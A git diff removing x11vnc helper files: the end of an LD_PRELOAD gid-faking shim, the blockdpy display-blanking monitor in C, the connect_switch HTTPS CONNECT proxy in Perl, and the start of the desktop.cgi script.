- real_getgid = (gid_t (*)(void)) dlsym(RTLD_NEXT, "getgid");
- }
- if (root) {
- return(real_getgid());
- }
- if (debug) fprintf(stderr, "GETGID: 0\n");
- return 0;
-}
-gid_t getegid(void) {
- static gid_t (*real_getegid)(void) = NULL;
- CHECKIT
- if (! real_getegid) {
- real_getegid = (gid_t (*)(void)) dlsym(RTLD_NEXT, "getegid");
- }
- if (root) {
- return(real_getegid());
- }
- if (debug) fprintf(stderr, "GETEGID: 0\n");
- return 0;
-}
-gid_t getgid32(void) {
- static gid_t (*real_getgid32)(void) = NULL;
- CHECKIT
- if (! real_getgid32) {
- real_getgid32 = (gid_t (*)(void)) dlsym(RTLD_NEXT, "getgid32");
- }
- if (root) {
- return(real_getgid32());
- }
- if (debug) fprintf(stderr, "GETGID32: 0\n");
- return 0;
-}
-gid_t getegid32(void) {
- static gid_t (*real_getegid32)(void) = NULL;
- CHECKIT
- if (! real_getegid32) {
- real_getegid32 = (gid_t (*)(void)) dlsym(RTLD_NEXT, "getegid32");
- }
- if (root) {
- return(real_getegid32());
- }
- if (debug) fprintf(stderr, "GETEGID32: 0\n");
- return 0;
-}
-#endif
-
-#if 0
-/* maybe we need to interpose on strcmp someday... here is the template */
-int strcmp(const char *s1, const char *s2) {
- static int (*real_strcmp)(const char *, const char *) = NULL;
- CHECKIT
- if (! real_strcmp) {
- real_strcmp = (int (*)(const char *, const char *)) dlsym(RTLD_NEXT, "strcmp");
- }
- if (debug) fprintf(stderr, "STRCMP: '%s' '%s'\n", s1, s2);
- return(real_strcmp(s1, s2));
-}
-#endif
-
-#code_end
-}
diff --git a/x11vnc/misc/blockdpy.c b/x11vnc/misc/blockdpy.c
deleted file mode 100644
index f3b428e..0000000
--- a/x11vnc/misc/blockdpy.c
+++ /dev/null
@@ -1,352 +0,0 @@
-/*
- * blockdpy.c
- *
- * Copyright (c) 2004 Karl J. Runge <runge@karlrunge.com>
- * All rights reserved.
- *
- * This is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This software is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this software; if not, write to the Free Software
- * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
- * USA.
- *
- *-----------------------------------------------------------------------
- *
- * This tool is intended for use with x11vnc. It is a kludge to try to
- * "block" access via the physical display while x11vnc is running.
- *
- * The expected application is that of a user who screen-locks his
- * workstation before leaving and then later unlocks it remotely via
- * x11vnc. The user is concerned people with physical access to the
- * machine will be watching, etc.
- *
- * Of course if people have physical access to the machine there are
- * much larger potential security problems, but the idea here is to put
- * up a larger barrier than simply turning on the monitor and tapping
- * the mouse (i.e. to wake up the monitor from DPMS and then observe
- * the x11vnc activity).
- *
- * This program requires DPMS support in the video card and monitor,
- * and the DPMS extension in the X server and the corresponding
- * library with the DPMS API (libXext).
- *
- * It starts off by forcing the state to be DPMSModeOff (lowest power).
- * Then it periodically (a few times a second) checks if the system is
- * still in that state. If it discovers it to be in another state, it
- * immediately runs, as a separate command, a screen-lock program, "xlock"
- * by default. The environment variable XLOCK_CMD or -lock option can
- * override this default. "xscreensaver-command" might be another choice.
- *
- * It is up to the user to make sure the screen-lock command works
- * and PATH is set up correctly, etc. The command can do anything,
- * it doesn't have to lock the screen. It could make the sound of a
- * dog barking, for example :-)
- *
- * The option '-grab' causes the program to additionally call
- * XGrabServer() to try to prevent physical mouse or keyboard input to get
- * to any applications on the screen. NOTE: do NOT use, not working yet!
- * Freezes everything.
- *
- * The options: -display and -auth can be used to set the DISPLAY and
- * XAUTHORITY environment variables via the command line.
- *
- * The options -standby and -suspend change the desired DPMS level
- * to be DPMSModeStandby and DPMSModeSuspend, respectively.
- *
- * The option '-f flagfile' indicates a flag file to watch for to cause
- * the program to clean up and exit once it exists. No screen locking is
- * done when the file appears: it is an 'all clear' flag. Presumably the
- * x11vnc user has relocked the screen before the flagfile is created.
- * See below for coupling this behavior with the -gone command.
- *
- * The option '-bg' causes the program to fork into the background and
- * return 0 if everything looks ok. If there was an error up to that
- * point the return value would be 1.
- *
- * Option '-v' prints more info out, useful for testing and debugging.
- *
- *
- * These options allow this sort of x11vnc usage:
- *
- * x11vnc ... -accept "blockdpy -bg -f $HOME/.bdpy" -gone "touch $HOME/.bdpy"
- *
- * (this may also work for gone: -gone "killall blockdpy")
- *
- * In the above, once a client connects this program starts up in the
- * background and monitors the DPMS level. When the client disconnects
- * (he relocked the screen before doing so) the flag file is created and
- * so this program exits normally. On the other hand, if the physical
- * mouse or keyboard was used during the session, this program would
- * have locked the screen as soon as it noticed the DPMS change.
- *
- * One could create shell scripts for -accept and -gone that do much
- * more sophisticated things. This would be needed if more than one
- * client connects at a time.
- *
- * It is important to remember once this program locks the screen
- * it *exits*, so nothing will be watching the screen at that point.
- * Don't immediately unlock the screen from in x11vnc!! Best to think
- * about what might have happened, disconnect the VNC viewer, and then
- * restart x11vnc (thereby having this monitoring program started again).
- *
- *
- * To compile on Linux or Solaris:
-
- cc -o blockdpy blockdpy.c -L /usr/X11R6/lib -L /usr/openwin/lib -lX11 -lXext
-
- * (may also need -I /usr/.../include on older machines).
- *
- */
-
-#include <stdio.h>
-#include <sys/time.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <unistd.h>
-#include <signal.h>
-
-#include <X11/Xlib.h>
-#include <X11/Xproto.h>
-#include <X11/extensions/dpms.h>
-
-Display *dpy = NULL;
-CARD16 standby, suspend, off;
-int grab = 0;
-int verbose = 0;
-int bg = 0;
-
-/* for sleeping some number of millisecs */
-struct timeval _mysleep;
-#define msleep(x) \
- _mysleep.tv_sec = ((x)*1000) / 1000000; \
- _mysleep.tv_usec = ((x)*1000) % 1000000; \
- select(0, NULL, NULL, NULL, &_mysleep);
-
-/* called on signal or if DPMS changed, or other problem */
-void reset(int sig) {
- if (grab) {
- if (verbose) {
- fprintf(stderr, "calling XUngrabServer()\n");
- }
- XUngrabServer(dpy);
- }
- if (verbose) {
- fprintf(stderr, "resetting original DPMS values.\n");
- }
- fprintf(stderr, "blockdpy: reset sig=%d called\n", sig);
- DPMSEnable(dpy);
- DPMSSetTimeouts(dpy, standby, suspend, off);
- XFlush(dpy);
- if (sig) {
- XCloseDisplay(dpy);
- exit(0);
- }
-}
-
-int main(int argc, char** argv) {
-
- int verbose = 0, bg = 0;
- int i, ev, er;
- char *lock_cmd = "xlock";
- char *flag_file = NULL;
- char estr[100], cmd[500];
- struct stat sbuf;
- CARD16 power;
- CARD16 desired = DPMSModeOff;
- BOOL state;
-
-
- /* setup the lock command. it may be reset by -lock below. */
- if (getenv("XLOCK_CMD")) {
- lock_cmd = (char *) getenv("XLOCK_CMD");
- }
-
- /* process cmd line: */
- for (i=1; i<argc; i++) {
- if (!strcmp(argv[i], "-display")) {
- sprintf(estr, "DISPLAY=%s", argv[++i]);
- putenv(strdup(estr));
- } else if (!strcmp(argv[i], "-auth")) {
- sprintf(estr, "XAUTHORITY=%s", argv[++i]);
- putenv(strdup(estr));
- } else if (!strcmp(argv[i], "-lock")) {
- lock_cmd = argv[++i];
- } else if (!strcmp(argv[i], "-f")) {
- flag_file = argv[++i];
- unlink(flag_file);
- } else if (!strcmp(argv[i], "-grab")) {
- grab = 1;
- } else if (!strcmp(argv[i], "-bg")) {
- bg = 1;
- } else if (!strcmp(argv[i], "-v")) {
- verbose = 1;
- } else if (!strcmp(argv[i], "-standby")) {
- desired = DPMSModeStandby;
- } else if (!strcmp(argv[i], "-suspend")) {
- desired = DPMSModeSuspend;
- } else if (!strcmp(argv[i], "-off")) {
- desired = DPMSModeOff;
- }
- }
-
- /* we want it to go into background to avoid blocking, so add '&'. */
- strcpy(cmd, lock_cmd);
- strcat(cmd, " &");
- lock_cmd = cmd;
-
- /* close any file descriptors we may have inherited (e.g. port 5900) */
- for (i=3; i<=100; i++) {
- close(i);
- }
-
- /* open DISPLAY */
- dpy = XOpenDisplay(NULL);
- if (! dpy) {
- fprintf(stderr, "XOpenDisplay failed.\n");
- exit(1);
- }
-
- /* check for DPMS extension */
- if (! DPMSQueryExtension(dpy, &ev, &er)) {
- fprintf(stderr, "DPMSQueryExtension failed.\n");
- exit(1);
- }
- if (! DPMSCapable(dpy)) {
- fprintf(stderr, "DPMSCapable failed.\n");
- exit(1);
- }
- /* make sure DPMS is enabled */
- if (! DPMSEnable(dpy)) {
- fprintf(stderr, "DPMSEnable failed.\n");
- exit(1);
- }
-
- /* retrieve the timeouts for later resetting */
- if (! DPMSGetTimeouts(dpy, &standby, &suspend, &off)) {
- fprintf(stderr, "DPMSGetTimeouts failed.\n");
- exit(1);
- }
- if (! standby || ! suspend || ! off) {
- /* if none, set to some reasonable values */
- standby = 900;
- suspend = 1200;
- off = 1800;
- }
- if (verbose) {
- fprintf(stderr, "DPMS timeouts: %d %d %d\n", standby,
- suspend, off);
- }
-
- /* now set them to very small values */
- if (desired == DPMSModeOff) {
- if (! DPMSSetTimeouts(dpy, 1, 1, 1)) {
- fprintf(stderr, "DPMSSetTimeouts failed.\n");
- exit(1);
- }
- } else if (desired == DPMSModeSuspend) {
- if (! DPMSSetTimeouts(dpy, 1, 1, 0)) {
- fprintf(stderr, "DPMSSetTimeouts failed.\n");
- exit(1);
- }
- } else if (desired == DPMSModeStandby) {
- if (! DPMSSetTimeouts(dpy, 1, 0, 0)) {
- fprintf(stderr, "DPMSSetTimeouts failed.\n");
- exit(1);
- }
- }
- XFlush(dpy);
-
- /* set handlers for clean up in case we terminate via signal */
- signal(SIGHUP, reset);
- signal(SIGINT, reset);
- signal(SIGQUIT, reset);
- signal(SIGABRT, reset);
- signal(SIGTERM, reset);
-
- /* force state into DPMS Off (lowest power) mode */
- if (! DPMSForceLevel(dpy, desired)) {
- fprintf(stderr, "DPMSForceLevel failed.\n");
- exit(1);
- }
- XFlush(dpy);
-
- /* read state */
- msleep(500);
- if (! DPMSInfo(dpy, &power, &state)) {
- fprintf(stderr, "DPMSInfo failed.\n");
- exit(1);
- }
- fprintf(stderr, "power: %d state: %d\n", power, state);
-
- /* grab display if desired. NOT WORKING */
- if (grab) {
- if (verbose) {
- fprintf(stderr, "calling XGrabServer()\n");
- }
- XGrabServer(dpy);
- }
-
- /* go into background if desired. */
- if (bg) {
- pid_t p;
- if ((p = fork()) != 0) {
- if (p < 0) {
- fprintf(stderr, "problem forking.\n");
- exit(1);
- } else {
- /* XXX no fd closing */
- exit(0);
- }
- }
- }
-
- /* main loop: */
- while (1) {
- /* reassert DPMSModeOff (desired) */
- if (verbose) fprintf(stderr, "reasserting desired DPMSMode\n");
- DPMSForceLevel(dpy, desired);
- XFlush(dpy);
-
- /* wait a bit */
- msleep(200);
-
- /* check for flag file appearence */
- if (flag_file && stat(flag_file, &sbuf) == 0) {
- if (verbose) {
- fprintf(stderr, "flag found: %s\n", flag_file);
- }
- unlink(flag_file);
- reset(0);
- exit(0);
- }
-
- /* check state and power level */
- if (! DPMSInfo(dpy, &power, &state)) {
- fprintf(stderr, "DPMSInfo failed.\n");
- reset(0);
- exit(1);
- }
- if (verbose) {
- fprintf(stderr, "power: %d state: %d\n", power, state);
- }
- if (!state || power != desired) {
- /* Someone (or maybe a cat) is evidently watching... */
- fprintf(stderr, "DPMS CHANGE: power: %d state: %d\n",
- power, state);
- break;
- }
- }
- reset(0);
- fprintf(stderr, "locking screen with command: \"%s\"\n", lock_cmd);
- system(lock_cmd);
- exit(0);
-}
diff --git a/x11vnc/misc/connect_switch b/x11vnc/misc/connect_switch
deleted file mode 100755
index 08376c6..0000000
--- a/x11vnc/misc/connect_switch
+++ /dev/null
@@ -1,696 +0,0 @@
-#!/usr/bin/perl
-#
-# Copyright (c) 2006-2010 by Karl J. Runge <runge@karlrunge.com>
-#
-# connect_switch is free software; you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2 of the License, or (at
-# your option) any later version.
-#
-# connect_switch is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with connect_switch; if not, write to the Free Software
-# Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-# or see <http://www.gnu.org/licenses/>.
-#
-#
-# connect_switch:
-#
-# A kludge script that sits between web clients and a mod_ssl (https)
-# enabled apache webserver.
-#
-# If an incoming web client connection makes a proxy CONNECT request
-# it is handled directly by this script (apache is not involved).
-# Otherwise, all other connections are forwarded to the apache webserver.
-#
-# This can be useful for VNC redirection using an existing https (port
-# 443) webserver, thereby not requiring a 2nd (non-https) port open on
-# the firewall for the CONNECT requests.
-#
-# It does not seem possible (to me) to achieve this entirely within apache
-# because the CONNECT request appears to be forwarded encrypted to
-# the remote host and so the SSL dies immediately.
-#
-# It can also be used to redirect ANY protocol, e.g. SSH, not just VNC.
-# See CONNECT_SWITCH_APPLY_VNC_OFFSET=0 to disable VNC 5900 shift.
-#
-# Note: There is no need to use this script for a non-ssl apache webserver
-# port because mod_proxy works fine for doing the switching all inside
-# apache (see ProxyRequests and AllowCONNECT parameters).
-#
-#
-# Apache configuration:
-#
-# The mod_ssl configuration is often in a file named ssl.conf. In the
-# simplest case you change something like this:
-#
-# From:
-#
-# Listen 443
-#
-# <VirtualHost _default_:443>
-# ...
-# </VirtualHost>
-#
-# To:
-#
-# Listen 127.0.0.1:443
-#
-# <VirtualHost _default_:443>
-# ...
-# </VirtualHost>
-#
-# (i.e. just change the Listen directive).
-#
-# If you have mod_ssl listening on a different internal port, you do
-# not need to specify the localhost Listen address.
-#
-# It is probably a good idea to set $listen_host below to the known
-# IP address you want the service to listen on (to avoid localhost where
-# apache is listening).
-#
-
-####################################################################
-# NOTE: For more info on configuration settings, read below for
-# all of the CONNECT_SWITCH_* env. var. parameters.
-####################################################################
-
-
-####################################################################
-# Allow env vars to also be specified on cmdline:
-#
-foreach my $arg (@ARGV) {
- if ($arg =~ /^(CONNECT_SWITCH.*?)=(.*)$/) {
- $ENV{$1} = $2;
- }
-}
-
-# Set up logging:
-#
-if (exists $ENV{CONNECT_SWITCH_LOGFILE}) {
- close STDOUT;
- if (!open(STDOUT, ">>$ENV{CONNECT_SWITCH_LOGFILE}")) {
- die "connect_switch: $ENV{CONNECT_SWITCH_LOGFILE} $!\n";
- }
- close STDERR;
- open(STDERR, ">&STDOUT");
-}
-select(STDERR); $| = 1;
-select(STDOUT); $| = 1;
-
-# interrupt handler:
-#
-my $looppid = '';
-my $pidfile = '';
-my $listen_sock = ''; # declared here for get_out()
-#
-sub get_out {
- print STDERR "$_[0]:\t$$ looppid=$looppid\n";
- close $listen_sock if $listen_sock;
- if ($looppid) {
- kill 'TERM', $looppid;
- fsleep(0.2);
- }
- unlink $pidfile if $pidfile;
- exit 0;
-}
-$SIG{INT} = \&get_out;
-$SIG{TERM} = \&get_out;
-
-# pidfile:
-#
-sub open_pidfile {
- if (exists $ENV{CONNECT_SWITCH_PIDFILE}) {
- my $pf = $ENV{CONNECT_SWITCH_PIDFILE};
- if (open(PID, ">$pf")) {
- print PID "$$\n";
- close PID;
- $pidfile = $pf;
- } else {
- print STDERR "could not open pidfile: $pf - $! - continuing...\n";
- }
- delete $ENV{CONNECT_SWITCH_PIDFILE};
- }
-}
-
-####################################################################
-# Set CONNECT_SWITCH_LOOP=1 to have this script create an outer loop
-# restarting itself if it ever exits. Set CONNECT_SWITCH_LOOP=BG to
-# do this in the background as a daemon.
-
-if (exists $ENV{CONNECT_SWITCH_LOOP}) {
- my $csl = $ENV{CONNECT_SWITCH_LOOP};
- if ($csl ne 'BG' && $csl ne '1') {
- die "connect_switch: invalid CONNECT_SWITCH_LOOP.\n";
- }
- if ($csl eq 'BG') {
- # go into bg as "daemon":
- setpgrp(0, 0);
- my $pid = fork();
- if (! defined $pid) {
- die "connect_switch: $!\n";
- } elsif ($pid) {
- wait;
- exit 0;
- }
- if (fork) {
- exit 0;
- }
- setpgrp(0, 0);
- close STDIN;
- if (! $ENV{CONNECT_SWITCH_LOGFILE}) {
- close STDOUT;
- close STDERR;
- }
- }
- delete $ENV{CONNECT_SWITCH_LOOP};
-
- if (exists $ENV{CONNECT_SWITCH_PIDFILE}) {
- open_pidfile();
- }
-
- print STDERR "connect_switch: starting service at ", scalar(localtime), " master-pid=$$\n";
- while (1) {
- $looppid = fork;
- if (! defined $looppid) {
- sleep 10;
- } elsif ($looppid) {
- wait;
- } else {
- exec $0;
- exit 1;
- }
- print STDERR "connect_switch: re-starting service at ", scalar(localtime), " master-pid=$$\n";
- sleep 1;
- }
- exit 0;
-}
-if (exists $ENV{CONNECT_SWITCH_PIDFILE}) {
- open_pidfile();
-}
-
-
-############################################################################
-# The defaults for hosts and ports (you can override them below if needed):
-#
-# Look below for these environment variables that let you set the various
-# parameters without needing to edit this script:
-#
-# CONNECT_SWITCH_LISTEN
-# CONNECT_SWITCH_HTTPD
-# CONNECT_SWITCH_ALLOWED
-# CONNECT_SWITCH_ALLOW_FILE
-# CONNECT_SWITCH_VERBOSE
-# CONNECT_SWITCH_APPLY_VNC_OFFSET
-# CONNECT_SWITCH_VNC_OFFSET
-# CONNECT_SWITCH_LISTEN_IPV6
-# CONNECT_SWITCH_BUFSIZE
-# CONNECT_SWITCH_LOGFILE
-# CONNECT_SWITCH_PIDFILE
-# CONNECT_SWITCH_MAX_CONNECTIONS
-#
-# You can also set these on the cmdline:
-# connect_switch CONNECT_SWITCH_LISTEN=X CONNECT_SWITCH_ALLOW_FILE=Y ...
-#
-
-# By default we will use hostname and assume it resolves:
-#
-my $hostname = `hostname`;
-chomp $hostname;
-
-my $listen_host = $hostname;
-my $listen_port = 443;
-
-# Let user override listening situation, e.g. multihomed:
-#
-if (exists $ENV{CONNECT_SWITCH_LISTEN}) {
- #
- # E.g. CONNECT_SWITCH_LISTEN=192.168.0.32:443
- #
- $listen_host = '';
- $listen_port = '';
- if ($ENV{CONNECT_SWITCH_LISTEN} =~ /^(.*):(\d+)$/) {
- ($listen_host, $listen_port) = ($1, $2);
- }
-}
-
-my $httpd_host = 'localhost';
-my $httpd_port = 443;
-
-if (exists $ENV{CONNECT_SWITCH_HTTPD}) {
- #
- # E.g. CONNECT_SWITCH_HTTPD=127.0.0.1:443
- #
- $httpd_host = '';
- $httpd_port = '';
- if ($ENV{CONNECT_SWITCH_HTTPD} =~ /^(.*):(\d+)$/) {
- ($httpd_host, $httpd_port) = ($1, $2);
- }
-}
-
-my $bufsize = 8192;
-if (exists $ENV{CONNECT_SWITCH_BUFSIZE}) {
- #
- # E.g. CONNECT_SWITCH_BUFSIZE=32768
- #
- $bufsize = $ENV{CONNECT_SWITCH_BUFSIZE};
-}
-
-
-############################################################################
-# You can/should override the host/port settings here:
-#
-#$listen_host = '23.45.67.89'; # set to your interface IP number.
-#$listen_port = 555; # and/or nonstandard port.
-#$httpd_host = 'somehost'; # maybe you redir https to another machine.
-#$httpd_port = 666; # and/or nonstandard port.
-
-# You must set the allowed host:port CONNECT redirection list.
-# Only these host:port pairs will be redirected to.
-# Port ranges are allowed too: host:5900-5930.
-# If there is one entry named ALL all connections are allow.
-# You must supply something, default is deny.
-#
-my @allowed = qw(
- machine1:5915
- machine2:5900
-);
-
-if (exists $ENV{CONNECT_SWITCH_ALLOWED}) {
- #
- # E.g. CONNECT_SWITCH_ALLOWED=machine1:5915,machine2:5900
- #
- @allowed = split(/,/, $ENV{CONNECT_SWITCH_ALLOWED});
-}
-
-# Or you could also use an external "allow file".
-# They get added to the @allowed list.
-# The file is re-read for each new connection.
-#
-# Format of $allow_file:
-#
-# host1 vncdisp
-# host2 vncdisp
-#
-# where, e.g. vncdisp = 15 => port 5915, say
-#
-# joesbox 15
-# fredsbox 15
-# rupert 1
-
-# For examply, mine is:
-#
-my $allow_file = '/dist/apache/2.0/conf/vnc.hosts';
-$allow_file = '';
-
-if (exists $ENV{CONNECT_SWITCH_ALLOW_FILE}) {
- # E.g. CONNECT_SWITCH_ALLOW_FILE=/usr/local/etc/allow.txt
- $allow_file = $ENV{CONNECT_SWITCH_ALLOW_FILE};
-}
-
-# Set to 1 to re-map to vnc port, e.g. 'hostname 15' to 'hostname 5915'
-# i.e. assume a port 0 <= port < 200 is actually a VNC display
-# and add 5900 to it. Set to 0 to not do the mapping.
-# Note that negative ports, e.g. 'joesbox -22' go directly to -port.
-#
-my $apply_vnc_offset = 1;
-my $vnc_offset = 5900;
-
-if (exists $ENV{CONNECT_SWITCH_APPLY_VNC_OFFSET}) {
- #
- # E.g. CONNECT_SWITCH_APPLY_VNC_OFFSET=0
- #
- $apply_vnc_offset = $ENV{CONNECT_SWITCH_APPLY_VNC_OFFSET};
-}
-if (exists $ENV{CONNECT_SWITCH_VNC_OFFSET}) {
- #
- # E.g. CONNECT_SWITCH_VNC_OFFSET=6000
- #
- $vnc_offset = $ENV{CONNECT_SWITCH_VNC_OFFSET};
-}
-
-# Set to 1 or higher for more info output:
-#
-my $verbose = 0;
-
-if (exists $ENV{CONNECT_SWITCH_VERBOSE}) {
- #
- # E.g. CONNECT_SWITCH_VERBOSE=1
- #
- $verbose = $ENV{CONNECT_SWITCH_VERBOSE};
-}
-
-# zero means loop forever, positive value means exit after handling that
-# many connections.
-#
-my $cmax = 0;
-if (exists $ENV{CONNECT_SWITCH_MAX_CONNECTIONS}) {
- $cmax = $ENV{CONNECT_SWITCH_MAX_CONNECTIONS};
-}
-
-
-#===========================================================================
-# No need for any changes below here.
-#===========================================================================
-
-use IO::Socket::INET;
-use strict;
-use warnings;
-
-# Test for INET6 support:
-#
-my $have_inet6 = 0;
-eval "use IO::Socket::INET6;";
-$have_inet6 = 1 if $@ eq "";
-
-my $killpid = 1;
-
-setpgrp(0, 0);
-
-if (exists $ENV{CONNECT_SWITCH_LISTEN_IPV6}) {
- # note we leave out LocalAddr.
- my $cmd = '
- $listen_sock = IO::Socket::INET6->new(
- Listen => 10,
- LocalPort => $listen_port,
- ReuseAddr => 1,
- Domain => AF_INET6,
- Proto => "tcp"
- );
- ';
- eval $cmd;
- die "$@\n" if $@;
-} else {
- $listen_sock = IO::Socket::INET->new(
- Listen => 10,
- LocalAddr => $listen_host,
- LocalPort => $listen_port,
- ReuseAddr => 1,
- Proto => "tcp"
- );
-}
-
-if (! $listen_sock) {
- die "connect_switch: $!\n";
-}
-
-my $current_fh1 = '';
-my $current_fh2 = '';
-
-my $conn = 0;
-
-while (1) {
- $conn++;
- if ($cmax > 0 && $conn > $cmax) {
- print STDERR "last connection ($cmax)\n" if $verbose;
- last;
- }
- print STDERR "listening for connection: $conn\n" if $verbose;
- my ($client, $ip) = $listen_sock->accept();
- if (! $client) {
- fsleep(0.5);
- next;
- }
- print STDERR "conn: $conn -- ", $client->peerhost(), " at ", scalar(localtime), "\n" if $verbose;
-
- my $pid = fork();
- if (! defined $pid) {
- die "connect_switch: $!\n";
- } elsif ($pid) {
- wait;
- next;
- } else {
- close $listen_sock;
- if (fork) {
- exit 0;
- }
- setpgrp(0, 0);
- handle_conn($client);
- }
-}
-
-exit 0;
-
-sub handle_conn {
- my $client = shift;
-
- my $start = time();
-
- my @allow = @allowed;
-
- # read allow file. Note we read it for every connection
- # to allow the admin to modify it w/o restarting us.
- # better way would be to read in parent and check mtime.
- #
- if ($allow_file && -f $allow_file) {
- if (open(ALLOW, "<$allow_file")) {
- while (<ALLOW>) {
- next if /^\s*#/;
- next if /^\s*$/;
- chomp;
- my ($host, $dpy) = split(' ', $_);
- next if ! defined $host;
- next if ! defined $dpy;
- if ($dpy < 0) {
- $dpy = -$dpy;
- } elsif ($apply_vnc_offset) {
- $dpy += $vnc_offset if $dpy < 200;
- }
- push @allow, "$host:$dpy";
- }
- close(ALLOW);
- } else {
- warn "$allow_file: $!\n";
- }
- }
-
- # Read the first 7 bytes of connection, see if it is 'CONNECT'
- #
- my $str = '';
- my $N = 0;
- my $isconn = 1;
- for (my $i = 0; $i < 7; $i++) {
- my $b;
- sysread($client, $b, 1);
- $str .= $b;
- $N++;
- print STDERR "read: '$str'\n" if $verbose > 1;
- my $cstr = substr('CONNECT', 0, $i+1);
- if ($str ne $cstr) {
- $isconn = 0;
- last;
- }
- }
-
- my $sock = '';
-
- if ($isconn) {
- # it is CONNECT, read rest of HTTP header:
- #
- while ($str !~ /\r\n\r\n/) {
- my $b;
- sysread($client, $b, 1);
- $str .= $b;
- }
- print STDERR "read: $str\n" if $verbose > 1;
-
- # get http version and host:port
- #
- my $ok = 0;
- my $hostport = '';
- my $http_vers = '1.0';
- if ($str =~ /^CONNECT\s+(\S+)\s+HTTP\/(\S+)/) {
- $hostport = $1;
- $http_vers = $2;
- my $h = '';
- my $p = '';
-
- if ($hostport =~ /^(.*):(\d+)$/) {
- ($h, $p) = ($1, $2);
- }
- if ($p =~ /^\d+$/) {
- # check allowed host list:
- foreach my $hp (@allow) {
- if ($hp eq 'ALL') {
- $ok = 1;
- }
- if ($hp eq $hostport) {
- $ok = 1;
- }
- if ($hp =~ /^(.*):(\d+)-(\d+)$/) {
- my $ahost = $1;
- my $pmin = $2;
- my $pmax = $3;
- if ($h eq $ahost) {
- if ($p >= $pmin && $p <= $pmax) {
- $ok = 1;
- }
- }
- }
- last if $ok;
- }
- }
- }
-
- my $msg_1 = "HTTP/$http_vers 200 Connection Established\r\n"
- . "Proxy-agent: connect_switch v0.2\r\n\r\n";
- my $msg_2 = "HTTP/$http_vers 502 Bad Gateway\r\n"
- . "Connection: close\r\n\r\n";
-
- if (! $ok) {
- # disallowed. drop with message.
- #
- syswrite($client, $msg_2, length($msg_2));
- close $client;
- exit 0;
- }
-
- my $host = '';
- my $port = '';
-
- if ($hostport =~ /^(.*):(\d+)$/) {
- ($host, $port) = ($1, $2);
- }
-
- print STDERR "connecting to: $host:$port\n" if $verbose;
-
- $sock = IO::Socket::INET->new(
- PeerAddr => $host,
- PeerPort => $port,
- Proto => "tcp"
- );
- print STDERR "connect to host='$host' port='$port' failed: $!\n" if !$sock;
- if (! $sock && $have_inet6) {
- eval {$sock = IO::Socket::INET6->new(
- PeerAddr => $host,
- PeerPort => $port,
- Proto => "tcp"
- );};
- print STDERR "connect to host='$host' port='$port' failed: $! (ipv6)\n" if !$sock;
- }
- my $msg;
-
- # send the connect proxy reply:
- #
- if ($sock) {
- $msg = $msg_1;
- } else {
- $msg = $msg_2;
- }
- syswrite($client, $msg, length($msg));
- $str = '';
- } else {
- # otherwise, redirect to apache for normal https:
- #
- print STDERR "connecting to: $httpd_host:$httpd_port\n" if $verbose;
- $sock = IO::Socket::INET->new(
- PeerAddr => $httpd_host,
- PeerPort => $httpd_port,
- Proto => "tcp"
- );
- if (! $sock && $have_inet6) {
- eval {$sock = IO::Socket::INET6->new(
- PeerAddr => $httpd_host,
- PeerPort => $httpd_port,
- Proto => "tcp"
- );};
- }
- }
-
- if (! $sock) {
- close $client;
- die "connect_switch: $!\n";
- }
-
- # get ready for xfer phase:
- #
- $current_fh1 = $client;
- $current_fh2 = $sock;
-
- $SIG{TERM} = sub {print STDERR "got sigterm\[$$]\n" if $verbose; close $current_fh1; close $current_fh2; exit 0};
-
- my $parent = $$;
- if (my $child = fork()) {
- xfer($sock, $client, 'S->C');
- if ($killpid) {
- fsleep(0.5);
- kill 'TERM', $child;
- }
- } else {
- # write those first bytes if not CONNECT:
- #
- if ($str ne '' && $N > 0) {
- syswrite($sock, $str, $N);
- }
- xfer($client, $sock, 'C->S');
- if ($killpid) {
- fsleep(0.75);
- kill 'TERM', $parent;
- }
- }
- if ($verbose > 1) {
- my $dt = time() - $start;
- print STDERR "duration\[$$]: $dt seconds. ", scalar(localtime), "\n";
- }
- exit 0;
-}
-
-sub xfer {
- my($in, $out, $lab) = @_;
- my ($RIN, $WIN, $EIN, $ROUT);
- $RIN = $WIN = $EIN = "";
- $ROUT = "";
- vec($RIN, fileno($in), 1) = 1;
- vec($WIN, fileno($in), 1) = 1;
- $EIN = $RIN | $WIN;
- my $buf;
-
- while (1) {
- my $nf = 0;
- while (! $nf) {
- $nf = select($ROUT=$RIN, undef, undef, undef);
- }
- my $len = sysread($in, $buf, $bufsize);
- if (! defined($len)) {
- next if $! =~ /^Interrupted/;
- print STDERR "connect_switch\[$lab/$conn/$$]: $!\n";
- last;
- } elsif ($len == 0) {
- print STDERR "connect_switch\[$lab/$conn/$$]: "
- . "Input is EOF.\n";
- last;
- }
-
- if (0) {
- # very verbose debugging of data:
- syswrite(STDERR , "\n$lab: ", 6);
- syswrite(STDERR , $buf, $len);
- }
-
- my $offset = 0;
- my $quit = 0;
- while ($len) {
- my $written = syswrite($out, $buf, $len, $offset);
- if (! defined $written) {
- print STDERR "connect_switch\[$lab/$conn/$$]: "
- . "Output is EOF. $!\n";
- $quit = 1;
- last;
- }
- $len -= $written;
- $offset += $written;
- }
- last if $quit;
- }
- close($in);
- close($out);
-}
-
-sub fsleep {
- my ($time) = @_;
- select(undef, undef, undef, $time) if $time;
-}
diff --git a/x11vnc/misc/desktop.cgi b/x11vnc/misc/desktop.cgi
deleted file mode 100755
index d99a39c..0000000
--- a/x11vnc/misc/desktop.cgi
+++ /dev/null
@@ -1,1550 +0,0 @@
-#!/usr/bin/perl
-#
-##########################################################################
-# desktop.cgi:
-#
-# This is an example CGI script to provide multi-user web access to
-# x11vnc desktops. The user desktop sessions run in 'Xvfb' displays
-# that are created automatically.
-#
-# This script should/must be served by an HTTPS (i.e. SSL) webserver,
